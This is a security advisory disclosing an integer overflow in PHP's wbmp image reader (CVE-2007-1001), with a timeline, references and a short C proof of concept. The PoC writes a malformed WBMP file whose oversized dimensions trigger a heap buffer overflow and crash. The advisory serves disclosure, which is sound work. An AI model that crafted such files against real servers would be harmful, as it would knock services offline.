There is an integer overflow in PHP in ext/gd/libgd/wbmp.c in the
function readwbmp. If large enough values are specified for wbmp image
height and/or width, so that width*height > 2^32, an integer overflow
occurs on the following line
if ((wbmp->bitmap = (int *) safe_emalloc(wbmp->width * wbmp->height,
sizeof(int), 0)) == NULL)
causing the amount of memory allocated to be smaller than the amount
of data to be read, subsequently causing buffer overflow (See the DoS
PoC below).
Upon discovery, I first thought this to be a LibGD issue, however the
file wbmp.c is changed in LibGD (as early as in version 2.0.33
released in 2004) and does not have this overflow.
As the only values written in memory upon exploiting this can be
(int)0 and (int)1, exploiting this for anything other then DoS seems
highly unlikely.
Timeline
Feb 14 2007 - Vulnerability discovered
Mar 7 2007 - Vendor contacted
Mar 7 2007 - Vendor responded, confirmed the bug and said they plan to
fix it in PHP 5.2.2, which is to be released in April
Apr 7 2007 - Release of this advisory
Note: I was going to wait until the release of PHP 5.2.2 before
publishing this, but seeing FrSIRT (and possibly others) already
pubished it I am pushing the release forward a bit.
References
http://www.php.net/http://ifsec.blogspot.com/2007/04/php-521-wbmp-file-handling-integer.htmlhttp://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1001http://www.frsirt.com/english/advisories/2007/1269
PoC
#define BUFSIZE 1000000
#include
int main()
{
int c;
char buf[BUFSIZE];
FILE *fp = fopen("test.wbmp","w");
//write header
c = 0;
fputc(c,fp);
fputc(c,fp);
//write width = 2^32 / 4 + 1
c = 0x84;
fputc(c,fp);
c = 0x80;
fputc(c,fp);
fputc(c,fp);
fputc(c,fp);
c = 0x01;
fputc(c,fp);
//write height = 4
c = 0x04;
fputc(c,fp);
//write some data to cause overflow
fwrite(buf,sizeof(buf),1,fp);
fclose(fp);
}